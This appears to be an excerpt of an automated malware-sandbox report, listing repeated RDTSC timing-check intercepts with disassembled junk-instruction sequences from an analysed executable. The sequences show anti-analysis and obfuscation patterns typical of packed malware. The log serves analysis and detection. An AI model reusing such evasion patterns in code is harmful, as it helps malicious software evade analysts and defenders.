Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9314D second address: D93178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1690B6C805h 0x00000009 popad 0x0000000a pop eax 0x0000000b jc 00007F1690B6C818h 0x00000011 push eax 0x00000012 push edx 0x00000013 je 00007F1690B6C7F6h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93178 second address: D93184 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93184 second address: D9318A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96346 second address: D9635E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1690C1AF96h 0x0000000a popad 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA52A6 second address: CA52AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10396 second address: 4D103D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F1690C1AFA9h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dx, 6DCEh 0x00000017 mov ebx, 4AF398DAh 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D503FF second address: 4D50403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50403 second address: 4D50409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50409 second address: 4D5040F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5040F second address: 4D50413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50413 second address: 4D5044F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov di, ax 0x00000010 pushfd 0x00000011 jmp 00007F1690B6C7FAh 0x00000016 or ecx, 3E8CA6C8h 0x0000001c jmp 00007F1690B6C7FBh 0x00000021 popfd 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5044F second address: 4D50453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50453 second address: 4D50459 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50459 second address: 4D5049C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1690C1AFA3h 0x00000009 sub ecx, 4A082DBEh 0x0000000f jmp 00007F1690C1AFA9h 0x00000014 popfd 0x00000015 movzx esi, di 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5049C second address: 4D504A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504A2 second address: 4D504A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504A7 second address: 4D504B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690B6C7FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504B7 second address: 4D504ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b call 00007F1690C1AF9Dh 0x00000010 mov esi, 12303DD7h 0x00000015 pop esi 0x00000016 mov edx, 35C4CB30h 0x0000001b popad 0x0000001c push ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 call 00007F1690C1AF9Ch 0x00000025 pop esi 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D504ED second address: 4D5051D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C800h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c jmp 00007F1690B6C800h 0x00000011 xchg eax, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov cx, bx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5051D second address: 4D50522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D505C7 second address: 4D50615 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F1690B6C803h 0x0000000d adc cl, 0000007Eh 0x00000010 jmp 00007F1690B6C809h 0x00000015 popfd 0x00000016 popad 0x00000017 je 00007F1690B6C84Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F1690B6C7FDh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50635 second address: 4D50639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50639 second address: 4D5063D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D5063D second address: 4D50643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40014 second address: 4D4001A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4001A second address: 4D400FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1690C1AFA4h 0x00000009 sbb ecx, 0244ACB8h 0x0000000f jmp 00007F1690C1AF9Bh 0x00000014 popfd 0x00000015 jmp 00007F1690C1AFA8h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov dword ptr [esp], ebp 0x00000020 jmp 00007F1690C1AFA0h 0x00000025 mov ebp, esp 0x00000027 pushad 0x00000028 mov cx, 961Dh 0x0000002c mov ch, 77h 0x0000002e popad 0x0000002f push FFFFFFFEh 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F1690C1AF9Bh 0x00000038 sub eax, 0EADA08Eh 0x0000003e jmp 00007F1690C1AFA9h 0x00000043 popfd 0x00000044 pushfd 0x00000045 jmp 00007F1690C1AFA0h 0x0000004a sbb al, 00000008h 0x0000004d jmp 00007F1690C1AF9Bh 0x00000052 popfd 0x00000053 popad 0x00000054 push 1BC1FA91h 0x00000059 jmp 00007F1690C1AF9Fh 0x0000005e xor dword ptr [esp], 6E0764D9h 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F1690C1AFA5h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D400FE second address: 4D40104 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40104 second address: 4D40108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40108 second address: 4D40130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C803h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007F1690B6C7F9h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40130 second address: 4D40134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40134 second address: 4D4013A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4025E second address: 4D40263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40263 second address: 4D4026A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4026A second address: 4D4028B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 jmp 00007F1690C1AF9Dh 0x0000000d mov eax, dword ptr fs:[00000000h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4028B second address: 4D4028F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4028F second address: 4D402A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D402A2 second address: 4D402CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C809h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, edx 0x0000000f mov dx, 4F2Ah 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D402CA second address: 4D402FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F1690C1AFA8h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D402FB second address: 4D4033D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F1690B6C806h 0x0000000f sub esp, 18h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1690B6C807h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4033D second address: 4D4038F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov bx, cx 0x0000000e mov bh, al 0x00000010 popad 0x00000011 push eax 0x00000012 jmp 00007F1690C1AFA2h 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F1690C1AFA7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4038F second address: 4D403E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 436Ah 0x00000007 mov eax, edi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jmp 00007F1690B6C7FAh 0x00000012 mov dword ptr [esp], esi 0x00000015 jmp 00007F1690B6C800h 0x0000001a xchg eax, edi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F1690B6C7FDh 0x00000024 xor eax, 29CCF846h 0x0000002a jmp 00007F1690B6C801h 0x0000002f popfd 0x00000030 mov eax, 1494B2F7h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D403E9 second address: 4D40434 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ah, dh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F1690C1AF9Bh 0x00000010 xchg eax, edi 0x00000011 jmp 00007F1690C1AFA6h 0x00000016 mov eax, dword ptr [75C74538h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F1690C1AFA7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40434 second address: 4D40495 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C809h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [ebp-08h], eax 0x0000000c jmp 00007F1690B6C7FEh 0x00000011 xor eax, ebp 0x00000013 jmp 00007F1690B6C801h 0x00000018 nop 0x00000019 jmp 00007F1690B6C7FEh 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F1690B6C7FEh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40495 second address: 4D4049B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4049B second address: 4D4049F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4049F second address: 4D404DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F1690C1AF9Eh 0x00000011 lea eax, dword ptr [ebp-10h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1690C1AFA7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D404DD second address: 4D404E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D404E3 second address: 4D404E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D404E7 second address: 4D40523 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e pushad 0x0000000f mov bx, B070h 0x00000013 mov dx, 639Ch 0x00000017 popad 0x00000018 mov dword ptr [ebp-18h], esp 0x0000001b jmp 00007F1690B6C7FBh 0x00000020 mov eax, dword ptr fs:[00000018h] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 jmp 00007F1690B6C7FBh 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40523 second address: 4D40528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40528 second address: 4D4057D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f jmp 00007F1690B6C806h 0x00000014 test ecx, ecx 0x00000016 jmp 00007F1690B6C800h 0x0000001b jns 00007F1690B6C80Bh 0x00000021 pushad 0x00000022 movzx esi, bx 0x00000025 popad 0x00000026 add eax, ecx 0x00000028 pushad 0x00000029 mov eax, edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push ebx 0x0000002e pop ecx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3001B second address: 4D300A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1690C1AF9Fh 0x00000009 sub ecx, 5F7224EEh 0x0000000f jmp 00007F1690C1AFA9h 0x00000014 popfd 0x00000015 mov dl, ah 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push ecx 0x0000001b pushad 0x0000001c movzx ecx, di 0x0000001f push ebx 0x00000020 movzx ecx, di 0x00000023 pop edx 0x00000024 popad 0x00000025 mov dword ptr [esp], ebp 0x00000028 jmp 00007F1690C1AFA6h 0x0000002d mov ebp, esp 0x0000002f jmp 00007F1690C1AFA0h 0x00000034 sub esp, 2Ch 0x00000037 jmp 00007F1690C1AFA0h 0x0000003c xchg eax, ebx 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 mov eax, 4D5240C3h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D300A5 second address: 4D300C9 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 158E261Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1690B6C804h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D300C9 second address: 4D300D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, 54F12359h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D300D3 second address: 4D30106 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F1690B6C806h 0x0000000f xchg eax, edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov ecx, 4C93F873h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30106 second address: 4D301A8 instructions: 0x00000000 rdtsc 0x00000002 mov dx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F1690C1AFA4h 0x0000000d or cl, 00000078h 0x00000010 jmp 00007F1690C1AF9Bh 0x00000015 popfd 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F1690C1AF9Fh 0x0000001f xor esi, 45CC1B3Eh 0x00000025 jmp 00007F1690C1AFA9h 0x0000002a popfd 0x0000002b mov esi, 1CB72E87h 0x00000030 popad 0x00000031 xchg eax, edi 0x00000032 pushad 0x00000033 jmp 00007F1690C1AFA8h 0x00000038 push eax 0x00000039 push edx 0x0000003a pushfd 0x0000003b jmp 00007F1690C1AFA0h 0x00000040 sbb si, F298h 0x00000045 jmp 00007F1690C1AF9Bh 0x0000004a popfd 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3020D second address: 4D30228 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C807h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30228 second address: 4D3028A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F1690C1AF9Ch 0x00000012 sbb ah, 00000078h 0x00000015 jmp 00007F1690C1AF9Bh 0x0000001a popfd 0x0000001b mov eax, 178609AFh 0x00000020 popad 0x00000021 je 00007F1690C1B10Eh 0x00000027 jmp 00007F1690C1AFA2h 0x0000002c lea ecx, dword ptr [ebp-14h] 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D3028A second address: 4D3028E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D303F6 second address: 4D303FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D303FC second address: 4D30420 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-2Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1690B6C807h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30420 second address: 4D30446 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bl 0x00000005 push ecx 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b jmp 00007F1690C1AF9Ah 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1690C1AF9Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30446 second address: 4D30458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690B6C7FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30458 second address: 4D304B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F1690C1AFA7h 0x0000000e nop 0x0000000f jmp 00007F1690C1AFA6h 0x00000014 push eax 0x00000015 jmp 00007F1690C1AF9Bh 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F1690C1AFA5h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D304B3 second address: 4D304B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D304B9 second address: 4D304BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D304BD second address: 4D304C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D207B0 second address: 4D207C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690C1AFA0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D207C4 second address: 4D20809 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov edx, ecx 0x0000000f push esi 0x00000010 call 00007F1690B6C807h 0x00000015 pop ecx 0x00000016 pop edi 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F1690B6C802h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20809 second address: 4D20872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 84A4h 0x00000007 pushfd 0x00000008 jmp 00007F1690C1AF9Dh 0x0000000d adc esi, 7CB35EE6h 0x00000013 jmp 00007F1690C1AFA1h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d jmp 00007F1690C1AF9Eh 0x00000022 mov ebp, esp 0x00000024 jmp 00007F1690C1AFA0h 0x00000029 xchg eax, ecx 0x0000002a jmp 00007F1690C1AFA0h 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20872 second address: 4D20878 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D20878 second address: 4D208A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1690C1AFA0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D208A0 second address: 4D208A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D208A6 second address: 4D208AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D208AC second address: 4D208B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D208B0 second address: 4D208CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], 55534552h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1690C1AF9Bh 0x00000016 rdtsc
